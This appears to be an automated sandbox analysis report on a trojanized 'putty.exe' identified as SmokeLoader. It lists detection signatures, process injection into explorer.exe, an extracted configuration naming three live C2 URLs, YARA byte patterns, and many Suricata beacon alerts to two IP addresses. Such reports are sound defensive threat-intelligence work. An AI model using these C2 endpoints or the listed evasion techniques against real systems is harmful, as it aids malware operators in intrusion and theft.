Edit tour

Windows Analysis Report
putty.exe

Overview

General Information

Sample name:	putty.exe
Analysis ID:	1578162
MD5:	3bbac642557b0ab934addbac0594561c
SHA1:	0787a06f1fff51bdfdb129186df44e73d8c7d5de
SHA256:	bc887fcd6805824ac58a107917c6d083056d688eef39e979da25d16eb388e798
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to read the PEB

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sigma detected: Execution of Suspicious File Type Extension

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

putty.exe (PID: 6380 cmdline: "C:\Users\user\Desktop\putty.exe" MD5: 3BBAC642557B0AB934ADDBAC0594561C)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

hajefwb (PID: 7112 cmdline: C:\Users\user\AppData\Roaming\hajefwb MD5: 3BBAC642557B0AB934ADDBAC0594561C)

hajefwb (PID: 3648 cmdline: C:\Users\user\AppData\Roaming\hajefwb MD5: 3BBAC642557B0AB934ADDBAC0594561C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x204:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.2439322888.0000000000880000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x604:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.2439682112.0000000000AA8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x361a:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.2110499167.0000000000950000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2177166657.0000000000849000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3b52:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000003.2388445359.0000000000890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
4.3.hajefwb.890000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.2.hajefwb.880e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.putty.exe.940e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.3.putty.exe.950000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.2.hajefwb.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.putty.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\hajefwb, CommandLine: C:\Users\user\AppData\Roaming\hajefwb, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\hajefwb, NewProcessName: C:\Users\user\AppData\Roaming\hajefwb, OriginalFileName: C:\Users\user\AppData\Roaming\hajefwb, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Users\user\AppData\Roaming\hajefwb, ProcessId: 7112, ProcessName: hajefwb

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T10:58:12.359414+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49735	94.156.177.51	80	TCP
2024-12-19T10:58:14.531297+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49741	94.156.177.51	80	TCP
2024-12-19T10:58:16.781269+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49747	194.85.61.76	80	TCP
2024-12-19T10:59:22.905776+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49897	94.156.177.51	80	TCP
2024-12-19T10:59:24.608903+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49902	94.156.177.51	80	TCP
2024-12-19T10:59:26.108877+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49908	194.85.61.76	80	TCP
2024-12-19T10:59:27.827648+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49914	94.156.177.51	80	TCP
2024-12-19T10:59:29.405803+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49915	94.156.177.51	80	TCP
2024-12-19T10:59:30.843229+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49920	194.85.61.76	80	TCP
2024-12-19T10:59:32.436950+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49926	94.156.177.51	80	TCP
2024-12-19T10:59:33.936950+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49928	94.156.177.51	80	TCP
2024-12-19T10:59:35.406095+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49933	194.85.61.76	80	TCP
2024-12-19T10:59:37.327557+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49939	94.156.177.51	80	TCP
2024-12-19T10:59:38.769169+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49942	94.156.177.51	80	TCP
2024-12-19T10:59:40.327545+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49947	194.85.61.76	80	TCP
2024-12-19T10:59:42.608756+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49953	94.156.177.51	80	TCP
2024-12-19T10:59:44.093134+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49958	94.156.177.51	80	TCP
2024-12-19T10:59:45.593136+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49964	194.85.61.76	80	TCP
2024-12-19T10:59:48.139987+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49970	94.156.177.51	80	TCP
2024-12-19T10:59:49.530677+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49973	94.156.177.51	80	TCP
2024-12-19T10:59:50.905589+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49977	194.85.61.76	80	TCP
2024-12-19T10:59:56.702432+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49993	94.156.177.51	80	TCP
2024-12-19T10:59:58.202555+0100	2039103	1	A Network Trojan was detected	192.168.2.5	49995	94.156.177.51	80	TCP
2024-12-19T10:59:59.640179+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50000	194.85.61.76	80	TCP
2024-12-19T11:00:06.342983+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50001	94.156.177.51	80	TCP
2024-12-19T11:00:07.905516+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50002	94.156.177.51	80	TCP
2024-12-19T11:00:09.405517+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50003	194.85.61.76	80	TCP
2024-12-19T11:00:15.530466+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50004	94.156.177.51	80	TCP
2024-12-19T11:00:17.108580+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50005	94.156.177.51	80	TCP
2024-12-19T11:00:18.608576+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50006	194.85.61.76	80	TCP
2024-12-19T11:00:23.702267+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50007	94.156.177.51	80	TCP
2024-12-19T11:00:25.139893+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50008	94.156.177.51	80	TCP
2024-12-19T11:00:26.639752+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50009	194.85.61.76	80	TCP
2024-12-19T11:00:31.936600+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50010	94.156.177.51	80	TCP
2024-12-19T11:00:33.608454+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50011	94.156.177.51	80	TCP
2024-12-19T11:00:35.030325+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50012	194.85.61.76	80	TCP
2024-12-19T11:00:40.639665+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50013	94.156.177.51	80	TCP
2024-12-19T11:00:42.092793+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50014	94.156.177.51	80	TCP
2024-12-19T11:00:43.608439+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50015	194.85.61.76	80	TCP
2024-12-19T11:00:49.327252+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50016	94.156.177.51	80	TCP
2024-12-19T11:00:50.795846+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50017	94.156.177.51	80	TCP
2024-12-19T11:00:52.295850+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50018	194.85.61.76	80	TCP
2024-12-19T11:00:58.217739+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50019	94.156.177.51	80	TCP
2024-12-19T11:00:59.702081+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50020	94.156.177.51	80	TCP
2024-12-19T11:01:01.311427+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50021	194.85.61.76	80	TCP
2024-12-19T11:01:06.592651+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50022	94.156.177.51	80	TCP
2024-12-19T11:01:08.139529+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50023	94.156.177.51	80	TCP
2024-12-19T11:01:09.639518+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50024	194.85.61.76	80	TCP
2024-12-19T11:01:15.639488+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50025	94.156.177.51	80	TCP
2024-12-19T11:01:17.108246+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50026	94.156.177.51	80	TCP
2024-12-19T11:01:18.608254+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50027	194.85.61.76	80	TCP
2024-12-19T11:01:24.327004+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50028	94.156.177.51	80	TCP
2024-12-19T11:01:25.795658+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50029	94.156.177.51	80	TCP
2024-12-19T11:01:27.405068+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50030	194.85.61.76	80	TCP
2024-12-19T11:01:32.905000+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50031	94.156.177.51	80	TCP
2024-12-19T11:01:34.394096+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50032	94.156.177.51	80	TCP
2024-12-19T11:01:35.826874+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50033	194.85.61.76	80	TCP
2024-12-19T11:01:41.326839+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50034	94.156.177.51	80	TCP
2024-12-19T11:01:43.201831+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50035	94.156.177.51	80	TCP
2024-12-19T11:01:44.639355+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50036	194.85.61.76	80	TCP
2024-12-19T11:01:51.139377+0100	2039103	1	A Network Trojan was detected	192.168.2.5	50037	94.156.177.51	80	TCP

ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T10:58:14.531297+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49741	94.156.177.51	80	TCP
2024-12-19T10:59:24.608903+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49902	94.156.177.51	80	TCP
2024-12-19T10:59:30.843229+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49920	194.85.61.76	80	TCP
2024-12-19T10:59:33.936950+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49928	94.156.177.51	80	TCP
2024-12-19T10:59:35.406095+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49933	194.85.61.76	80	TCP
2024-12-19T10:59:38.769169+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49942	94.156.177.51	80	TCP
2024-12-19T10:59:40.327545+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49947	194.85.61.76	80	TCP
2024-12-19T10:59:58.202555+0100	2851815	1	A Network Trojan was detected	192.168.2.5	49995	94.156.177.51	80	TCP
2024-12-19T10:59:59.640179+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50000	194.85.61.76	80	TCP
2024-12-19T11:00:15.530466+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50004	94.156.177.51	80	TCP
2024-12-19T11:00:25.139893+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50008	94.156.177.51	80	TCP
2024-12-19T11:00:26.639752+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50009	194.85.61.76	80	TCP
2024-12-19T11:00:33.608454+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50011	94.156.177.51	80	TCP
2024-12-19T11:00:58.217739+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50019	94.156.177.51	80	TCP
2024-12-19T11:01:01.311427+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50021	194.85.61.76	80	TCP
2024-12-19T11:01:06.592651+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50022	94.156.177.51	80	TCP
2024-12-19T11:01:08.139529+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50023	94.156.177.51	80	TCP
2024-12-19T11:01:09.639518+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50024	194.85.61.76	80	TCP
2024-12-19T11:01:27.405068+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50030	194.85.61.76	80	TCP
2024-12-19T11:01:32.905000+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50031	94.156.177.51	80	TCP
2024-12-19T11:01:34.394096+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50032	94.156.177.51	80	TCP
2024-12-19T11:01:35.826874+0100	2851815	1	A Network Trojan was detected	192.168.2.5	50033	194.85.61.76	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: putty.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://constractionscity1991.lat/	Avira URL Cloud: Label: malware
Source: http://connecticutproperty.ru/	Avira URL Cloud: Label: malware
Source: http://restructurisationservice.ru/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\hajefwb

Avira: detection malicious, Label: HEUR/AGEN.1312567

Found malware configuration

Source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\hajefwb

ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: putty.exe	Virustotal: Detection: 37%			Perma Link
Source: putty.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\hajefwb

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: putty.exe

Joe Sandbox ML: detected

Source: putty.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49735 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49747 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49741 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49741 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49897 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49902 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49908 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49920 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49920 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49933 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49928 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49915 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49953 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49926 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49928 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49933 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49947 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49947 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49977 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49902 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49973 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50000 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50000 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49993 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50019 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50026 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50028 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50012 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50002 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50015 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50021 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50021 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50017 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50006 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49970 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50014 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50032 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49964 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50003 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49995 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50019 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50032 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49914 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49939 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50035 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50001 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50007 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50016 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:49995 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50020 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50005 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50022 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50022 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49958 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50010 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50011 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50011 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50034 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50009 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.5:50009 -> 194.85.61.76:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50027 -> 194.85.61.76:80
